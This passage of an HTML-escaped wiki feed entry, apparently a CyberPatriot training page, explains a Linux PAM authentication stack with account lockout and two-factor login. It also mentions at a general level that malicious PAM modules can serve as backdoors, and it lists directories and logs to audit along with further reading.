The first line is a pre-auth. It defines that after 3 total auth failures, the account will be locked.&amp;lt;br /&amp;gt; The second line defines that the primary authentication factor that must be met is the password.&amp;lt;br /&amp;gt; The third line defines that the secondary authentication factor that must be met is getting a code from Google Authenticator.&amp;lt;br /&amp;gt; The fourth line executes a captcha via an external script, and the script will pass to PAM whether or not it failed.&amp;lt;br /&amp;gt; The fith line counts failures.&amp;lt;br /&amp;gt; The sixth line resets the failure counter upon success.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Open-ended question:&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The first line is a pre-auth. It defines that after 3 total auth failures, the account will be locked.&amp;lt;br /&amp;gt; The second line defines that the primary authentication factor that must be met is the password.&amp;lt;br /&amp;gt; The third line defines that the secondary authentication factor that must be met is getting a code from Google Authenticator.&amp;lt;br /&amp;gt; The fourth line executes a captcha via an external script, and the script will pass to PAM whether or not it failed.&amp;lt;br /&amp;gt; The fith line counts failures.&amp;lt;br /&amp;gt; The sixth line resets the failure counter upon success.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Open-ended question:&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Why do you think &amp;lt;code&amp;gt;required&amp;lt;/code&amp;gt; was used instead of &amp;lt;code&amp;gt;requisite&amp;lt;/code&amp;gt;?&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== PAM Vulnerabilites ==&lt;br /&gt;
&lt;br /&gt;
Although PAM seems to be a very straightforward and secure authentication method, it introduces serious security risks if it is not managed correctly.&lt;br /&gt;
&lt;br /&gt;
Most exploits boil down to attackers using [https://www.broadcom.com/support/security-center/protection-bulletin/plague-a-linux-backdoor malicious module] to create backdoors. Because PAM modules run with higher privileges, any compromised or malicious modules can log credentials, grant unauthorized access, or lock out accounts. Current PAM vulnerabilites can be found [https://www.cve.org/CVERecord/SearchResults?query=pam+linux here].&lt;br /&gt;
&lt;br /&gt;
== PAM Auditing ==&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/usr/lib64/security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;/etc/pam.d&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;/etc/security&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log/secure&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://www.kirillshore.com My wesbite]&lt;br /&gt;
&lt;br /&gt;
[https://buymeacoffee.com/kirillshore Buy me a coffee]&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
https://www.redhat.com/en/blog/pam-configuration-file&amp;lt;br /&amp;gt;&lt;br /&gt;
https://www.redhat.com/en/blog/pluggable-authentication-modules-pam&amp;lt;br /&amp;gt;&lt;br /&gt;
https://unit42.paloaltonetworks.com/linux-pam-apis/&amp;lt;br /&amp;gt;&lt;br /&gt;
https://www.broadcom.com/support/security-center/protection-bulletin/plague-a-linux-backdoor&amp;lt;br /&amp;gt;&lt;br /&gt;
https://www.cyberark.com/resources/blog/plague-malware-exploits-pluggable-authentication-module-to-breach-linux-systems&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
&amp;lt;small&amp;gt;This Wiki page was authored by Kirill Shore. Within cypat.guide, this content is licensed under CC-BY 4.0. All use outside of cypat.guide is governed by the Shore-Roger Enterprises End User License Agreement (https://www.kirillshore.com/eula). Proper attribution to Kirill Shore as the original author is required. Unauthorized copying, modification, or redistribution without appropriate credit constitutes plagiarism and may be subject to U.S. copyright law.&amp;lt;/small&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Account Policies|025]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;/div&gt;</summary>
		<author><name>AdminUser</name></author>
	</entry>
</feed>